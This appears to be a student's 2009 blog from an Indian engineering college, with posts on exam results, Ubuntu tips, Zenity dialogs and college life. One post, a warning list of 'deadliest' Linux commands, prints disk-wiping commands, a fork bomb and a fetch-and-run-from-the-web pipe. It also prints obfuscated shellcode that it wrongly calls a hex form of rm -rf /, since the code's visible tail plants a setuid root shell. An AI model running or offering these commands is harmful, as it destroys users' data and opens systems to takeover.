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of getting less marks and getting demoralised unnecessarily August 3, 2009
This post by me is a consequence of seeing the marks of the freshies at my col. Nearly 50% of the total and more worse in CSE have fared very poor at the exams.
There are several reasons for it and some that i have observed are:
- The students are unaware of how their papers are corrected and how they are supposed to present their answers.
- JNTU exams expect students to write bulk answers doesn’t mean every garbage on earth can be filled with the answers, only relevant content of the answer itself is required. But poor freshies unawared filled up every filth to end up in this manner.
- Most of the answer scripts have been corrected very unliberally this time.
- Many students ended up getting 27, 26 , 25 and so on that were as near to pass as air to breath
- Students simply memorised (mugged) literally the allinone’s filth and vomited the same into their papers
- the examiners simply ignored such papers
The solution or the action plan henceforth:
- The students be made aware of the examination evaluation pattern by the exam department of the respective college
- The students should refer to standard texts only and refer to allinones at their own discretion
- Examination correction pattern be modified by university authorities considering the students’ future
Class room musings July 26, 2009
Its been very long that rahman has directly involved into any activities at the classroom pertaining to the busy schedules of GLUG and Miniprojects, but now , he has realised that his real purpose is to make his classmates aware of the actual scenario outside the campus, so is the personality development class renewed back.
Ten tips for Ubuntu Newbies (from linux.com) June 25, 2009
Ubuntu has become the most popular Linux distribution for new Linux users. It’s easy to install, easy to use, and usually “just works.” But moving to a different operating system can be confusing, no matter how well-designed it is. Here’s a list of tips that might save you some time while you’re getting used to Ubuntu.
1. Getting multimedia to work
The default Ubuntu install contains free software only, which means that it doesn’t support some popular multimedia formats straight out of the box. This is inconvenient, but the Ubuntu folks have good reasons for not shipping with support for MP3, DVDs, and so forth — including that software could cause them some legal headaches, or incur some serious fees.
Fortunately, as a user, you don’t need to worry about fees (though some of the packages may not be legal due to patent restrictions or restrictions on circumventing copy protection, depending on where you live). The Ubuntu wiki has a page on restricted formats that explains how to get the packages you need. However, if you run Ubuntu on AMD64 or PowerPC hardware, you’ll still be out in the cold for some of the packages, since some multimedia formats depend on proprietary software that’s not available for those hardware platforms.
2. Changing the defaults
Ubuntu comes with a number of defaults that may or may not be to your liking. For example, the default editor is set to Nano, which isn’t optimal if you’re used to Vim.
The easy way to change this is to use the update-alternatives program, which maintains the symbolic links under /etc/alternatives that determine the default programs for FTP, system editor, rsh, Telnet, window manager, and so forth. Look under the /etc/alternatives directory to see what programs are managed.
To change the default editor, run sudo update-alternatives --config editor. You’ll see a dialog like this:
There are 3 alternatives which provide `editor'.
Selection Alternative
-----------------------------------------------
1 /usr/bin/vim
2 /bin/ed
*+ 3 /bin/nano
Press enter to keep the default[*], or type selection number:
Just type 1 to switch to Vim. Note that on my system, I don’t have Emacs or many other editors installed; if I did, the utility would offer the other editors as choices.
3. How to install packages
Most of the application software you’ll want to add to your system will be available through the Ubuntu repositories using Synaptic, Adept, or another package management tool. What if you want to install something like Opera that is available as a package for Ubuntu, but isn’t in the repositories?
In that case, download the application’s Debian package (.deb) and right-click on the file. At the top of the context menu, you should see an option to open the package with the GDebi package installer. GDebi will provide a description of the package, what files are included, and other details about the package. The package installer also has a Install Package button; just click that and it will install the package. Note that the package installer also checks to verify whether it can install the package — if it has dependencies that can’t be satisfied, GDebi will give an error and refuse to install it.
If you prefer to install packages at the command line, just use sudo dpkg -i packagename.deb.
4. Sudo and gksudo
If you’ve used Linux for any amount of time, you might be used to running programs as root directly whenever you need to install packages, modify your system’s configuration, and so on. Ubuntu employs a different model, however. The Ubuntu installer doesn’t set up a root user — a root account still exists, but it’s set with a random password. Users are meant to do administration tasks using sudo and gksudo.
You probably already know how to use sudo — just run sudo commandname . But what about running GUI apps that you want to run as root (or another user)? Simple — use gksudo instead of sudo. For instance, if you’d like to run Ethereal as root, just pop open a run dialog box (Alt-F2) and use gksudo ethereal.
By the way, if you really must do work as root, you can use sudo su -, which will log you in as root. If you really, really want to have a root password that you know, so that you can log in as root directly (i.e., without using sudo), then run passwd when logged in as root, and set the password to whatever you want. I’d recommend using the pwgen package to create a secure password not only for root but for all your user accounts.
5. Add users to sudo
When you set up Ubuntu, it automatically adds the first user to the sudo group, allowing that user to make changes as the super user (root) by typing in their password. However, it doesn’t automatically add additional users to the sudo group. If you want to give someone else superuser privileges on your shared system, you’ll have to give them sudo access.
To add new users to sudo, the easiest way is to use the usermod command. Run sudo usermod -G admin username . That’s all there is to it. However, if the user is already a member of other groups, you’ll want to add the -a option, like so: sudo usermod -a -G admin username .
If you prefer the GUI way of doing things, go to System -> Administration -> Users and Groups. Select the user you want to add to sudo, and click Properties. Under the User privileges tab, check the box that says “Executing system administration tasks” and you’ll be all set.
6. Adding a new desktop
Many users aren’t sure what packages to add in order to run KDE or Xfce window managers on a stock Ubuntu system — or what packages to add to run GNOME on Kubuntu or Xubuntu. You could add all of the necessary packages one at a time, but there’s a much easier way to go about it.
To install all of the packages that come with one of the flavors of Ubuntu, such as Kubuntu, run apt-get install kubuntu-desktop (or edubuntu-desktop, xubuntu-desktop, or xubuntu-desktop).
If the GUI is more your style, the *desktop packages can be installed using Adept, Synaptic, or another package manager.
7. How to reconfigure X.org
Most of the time, X.org — that’s the software that drives your video card and provides the foundation for the GUI, whether you’re running GNOME, KDE, Xfce, or another window manager — “just works” when you install Ubuntu. In fact, I’d wager that most Ubuntu users never even have to think about their video settings.
But, sometimes you need to reconfigure X.org because Ubuntu hasn’t detected your video card and monitor properly, or maybe you’ve just purchased a shiny new video card and need to get it working with Ubuntu. Whatever the reason, it’s good to know how to reconfigure X without having to edit your /etc/X11/xorg.conf by hand.
To run through the configuration, use dpkg-reconfigure xserver-xorg at the console or in a terminal window. Then you’ll have a chance to specify your monitor and video card, the resolutions and color depths you want to run the server at, and so forth.
Since every setup is different, it’s hard to give concrete advice for configuring X, but it’s generally OK to accept the configuration defaults. Also, you’ll be given a choice between Advanced, Medium, and Simple methods for giving your monitor’s specifications. As a rule, it’s probably best to go with Simple unless you really know what you’re doing, or the Simple method doesn’t work for you.
8. Log in automagically
By default, when you boot up the computer, Ubuntu will give you a login screen before you get to your X session. From a security perspective, this is a good idea, particularly in multi-user environments or in any situation where other people have physical access to your computer. Still, many users are used to just being logged in automatically, and don’t want to fuss with logging in each time they reboot their desktop.
To set this in Ubuntu, go to System -> Administration -> Login Window. You’ll need to provide your password, then you’ll get the Login Window Preferences window with five tabs. Choose the Security tab and click Enable Automatic Login. If you have more than one regular user, make sure to specify which user should be logged in automatically.
Again, and I can’t stress this enough, this is only a good idea for home computers where only one person has access to the computer. I don’t recommend this for work computers or laptop/notebook computers, when someone else might have access to the machine.
9. Compiling from source
Ubuntu’s package repository is huge, particularly when you factor in packages in the Universe and Multiverse repositories. However, many users find themselves needing to install packages from source, either because they want to use a newer package than is available in the repository, or they want to try something that’s not in the Ubuntu repository at all.
If you want to install packages from source, you can use a few shortcuts to make life easier. First, you’ll probably want to get the build-essential meta-package if you haven’t installed any developer tools. Run sudo apt-get install build-essential; it will grab GCC, the Linux kernel headers, GNU Make, and some other packages that you’ll probably need.
Next, if you’re going to compile a package such as Gaim because a new version is out, you might be able to satisfy the new version’s dependencies with the old version’s dependencies. To do this, grab the package’s build dependencies with sudo apt-get build-dep packagename . That will grab all of the development packages you need to build the package that’s currently available in Ubuntu, and will probably satisfy dependencies for the new version you’re compiling.
Finally, don’t make install when you compile from source — use CheckInstall instead. CheckInstall will create a Debian package and install it for you, so you can remove or upgrade the software more easily later on.
Grab CheckInstall with apt-get install checkinstall. After you’ve run ./configure ; make, just run sudo checkinstall and answer a few simple questions. Note that if you compile packages on AMD64, CheckInstall will select X86_64 as the architecture rather than amd64 — which will cause the package install to fail, since Ubuntu expects amd64 as the architecture rather than X86_64.
By the way, the packages created by CheckInstall also make it easier to deploy the same package on several machines, if you happen to have several systems running Ubuntu. See Joe Barr’s excellent CLI Magic feature on CheckInstall too.
10. A new kernel
Ubuntu will install a 386 kernel for x86 machines, which probably isn’t what you’d want if you’ve got a Pentium II or better CPU. The 386 kernel is compiled to work with just about any x86 CPU, but extensions that appear in later CPUs can give your system a boost, if they’re taken advantage of. To replace the kernel, open Synaptic or Adept and search for linux-image. You’ll see several choices. Pick the one that best suits your CPU — probably the linux-image-686 package for Pentium II and later CPUs, and linux-image-k7 for later AMD processors. Note that if you’re using the AMD64 line (or Intel’s x86-64 CPUs) you should be using the amd64 images.
Of course, once you install the new kernel, you’ll need to reboot. Another benefit to the 686 kernels is that they have SMP support, which is a bonus for multi-core and Intel HyperThread CPUs.
If none of the tips cover questions that you have about Ubuntu, try checking out the Ubuntu wiki, forums, and mailing lists. As a rule, the Ubuntu users are a helpful lot, and you’ll usually be able to find someone who’s run into the same situation that you have questions about.
Zenity : A combination of gtk and bash June 25, 2009
Zenity is a tool that help you to create a common functional GTK+ dialogs. It have various dialogs that each of them have different ways of presenting data and acquire data from user input.
Some example scripts
* szDate=$(zenity —calendar —text “Pick a day” —title “Medical Leave” —day 28 —month 8 —year 2009); echo $szDate
This would display the given date in calendar
* szAnswer=$(zenity —entry —text “where are you?” —entry-text “at lab”); echo $szAnswer
This would display a box with given text
* zenity —error —text “Error Message! “
An error message
* zenity —info —text “Join us at www.glugjntucep.wikidot.com.”
A text window
* szSavePath=$(zenity —file-selection —save —confirm-overwrite);echo $szSavePath
File selection dialog box
The 7 deadliest linux commands June 23, 2009
These are AFAIK, the 7 most deadliest commands
So, beware,
Dont try them at home or at office or at lab,
Or for that matter,
dont try them on your linux box
Of course, try them on windows
you would only get the ‘command not found’ option === 
These were taught to me by Raghunath the great, ASTI
1. Code:
rm -rf /
This command will recursively and forcefully delete all the files inside the root directory.
2. Code:
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.
3. Code:
mkfs.ext3 /dev/sda
This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.
4. Code:
){ 
: & };:
( if smileys are omitting the code follow this : f(){ f|f & }; f , now replace f with a colon ( : ) , it does harm your system )
Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often
lead to corruption of data.
5. Code:
any_command > /dev/sda
With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.
6. Code:
wget http://some_untrusted_source -O- | sh
Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.
7. Code:
mv /home/yourhomedirectory/* /dev/null
This command will move all the files inside your home directory to a place that doesn’t exist; hence you will never ever see those files again.
The true India, June 23, 2009
friends this was what India was a 200+ years ago, when the British had not occupied India.
Just realise what intention was British having on India;
now today the terrorists also intend the same
so beware
My presentations June 9, 2009
my presentations links
this is the link to my presentation at YANTRA’08
this is the link to my presentation at SCINTILLACE’09
Virtual networking using satellites
at madurai , i gave a talk along with my junior T.Srikanth
my college life June 9, 2009
It was 4th September and I reached the Pulivendula bus stand in a hitech bus from Hyderabad along with my mother, after getting down and freshup , I met Usha Chaitanya, the first person I met who’s from the same college where I was to take admission, JNTUCEP.
She was also accompanied by her mother.
I was timid and never spoke to girls, so my mother enquired something about her, I didn’t care.
It was Ekadasi, so I took the rituals of the day and at around 10 (actually scheduled at 9), the admission started in auditorium of Loyola Polytechnic.
I met other people , few were Rakesh from ECE, Sunil from EEE, Rohith from my branch. I had my admission along with Rajakumari and Jyothi (monkey maid). Then I went to the class, I met my other classmates, being timid, here too I selected Rajesh and started my conversation with him enquiring about food, stay , classes, he told it was first class work that day.
We had C Programming by Indu Priya madam and EDC class by Vani madam. Then I met Ramanaiah sir, our HOD. For that day, I took a syllabus book copy of Ramanaiah sir from him and came back to Hyd, now it was time for second phase counseling, I was already determined to study at Pulivendula to come out of frustration of not being admitted into IIT even after having put efforts and availing admission in some IISER which I didn’t like.
So, it was KK’s turn to try and he got Mechanical. So I came back with all my luggage on 8th and was given accommodation at CTTI shed along with KK and 10 others.
It was an enjoyable time there, spending upto 4 in class in the evening and then free time all way, meeting whole new lot of people. I met Vyas, Rohith, Pavan, Tejkiran Reddy and many others.
Mean time I started observing that- most people were from rural background, who always use filthy language, very little knowledge do they have about the competition and tough times waiting for them outside this college boundaries. I made it to visit the original college site which was about 4 kms from Pulivendula town.
The classes were being taken up at Loyola polytechnic with few permanent and contact faculties. We had Ravindranath sir for English, Indu Priya madam for C , Kasi Reddy sir for Applied Physics, Vani madam for EDC, Maths was tackled by Bhuvana Vijaya madam , Drawing by Sanjeeva Rayudu sir, BEE by Jitendar Goud. We had 7 subjects and 5 labs.
Came October and we had all set packed for Dassara holidays, on return we were shifted to original campus site where a temporary shed with some good and better facilities was ready for occupation by us.
Mine was room number 13, few of my room mates were the same I had at CTTI- Tejkiran, KK, Udish. Slowly I started mixing with people and within 2 weeks I was completely transformed. Then I sniffed the reality of varation of minds. Such a kind of diversity of thinking, I never experienced. Throughout my schooling till then, everyone in the class opined the same way I used to. But here something was really wrong, the mess food was worsening day after day, then came November with an agitation from the student side demanding for shifting the college to either Anantapur or Hyderabad. They decided to boycott mess food and also classes from then. But none could starve himself, Sunil from EEE and few others who were so called leaders of the agitation approached me to tell me that I shouldn’t go to classes but I told them that if they had done both things- boycott mess and classes, I’d have supported them, but they failed from boycotting mess, so I called home took permission and went to class that day along with Tej, I was the only boy to attend the classes that day.
I saw a clear mark of helplessness and betrayal in the eyes of Ramanaiah sir and other faculty, that day I didn’t spoke to anyone at hostel and went to classes the next day as well. This time all the students, when faced by Principal sir (Panduranga sir), didn’t utter a word and came to classes calmly.
Then I decided that with this kind of classmates I cant achieve anything rather I might be diverted, so I called back mom to inform her that I wont continue my studies at such a place, then the next day Ramanaiah sir took my mother’s phone number and I was called by the principal for enquiry in the same issue, my decision was clear this time, apart from studying away from home , I’ll also study in isolated way and so i decided to study and be all alone.
Came November end and we saw the first mids coming in, also there was a lot of change in the faculty side, now we had Chenna Reddy sir for C, Vishnuvardhan sir for EDC, there were also many new faces in the faculty of all other branches, even Principal had changed. The first year went by calmly.
In the second year we had seen many more changes, Ramanaiah sir was transferred to Anantapur and Chenna sir was the new HOD, I saw Joshi sir as a full time teacher in the class teaching ADS in C++. Chenna sir took DBMS, Raju sir for P&S, Ramnaresh sir for MFCS and CO, O.Prasad sir for DLD, later came Shivkumar sir for CO and DLD was left blank when O.Prasad sir was transferred.
In II-I, the remembered moments were that of attending Shaastra at IITM and Cluster at JNTUCEA. I got a second prize along with Mahesh for our paper on Datawarehousing and Data Mining.
I got interested in FOSS around this time only. II-I was done and we went to II-II, and this time we had Joshi sir tackling DAA, Java by Chenna sir , ramnaresh sir was for SE, MPI by Giriprasad sir, POC was a mess, and ES was taken by Subba reddy sir. We had organized SARVAGNYA’08.
Come III-I and there were more changes, absence of Chenna Reddy sir’s name in the faculty list disappointed me, FLAT-Ramnaresh sir, OOAD Lakshmi Tayaramma, MEFA by a mess of stone age, Os by Shivkumar sir , CN by Joshi sir, and PPL by Keshalu sir.
These people were the army of teaching assistants who joined the college at very wrong time and very wrong situation. We had Yantra’08 conducted by Mechanical fraternity, where I gave a paper on automotive telematics, along with S.N.Himaswetha, one of my juniors.
III-II was much worse with almost all the faculty leaving, only Chenna Reddy sir and Shivkumar sir along with Lalitha madam were left in the department with all others transferred, so the rule of stone aged teaching assistants came with half subjects being tackled by them, we had CG- Lalitha, Unix- Chenna( always best!!), STM- Shivkumar sir, IS- Vamshi, CD-Keshalu, NN- Suharika ( ;-/). Here we had Scintillace being conducted by ECE fraternity. Gave a paper on Satellite surveillance with Suresh of second year.
The best things that my college life gave were:
- Chenna Reddy sir
- Principal- K Hemachandra Reddy sir
- Joshi sir
- good set of cooperating faculty
- good labs
- liberty
- freedom to do things
- friends like rohith, raviteja and pavan
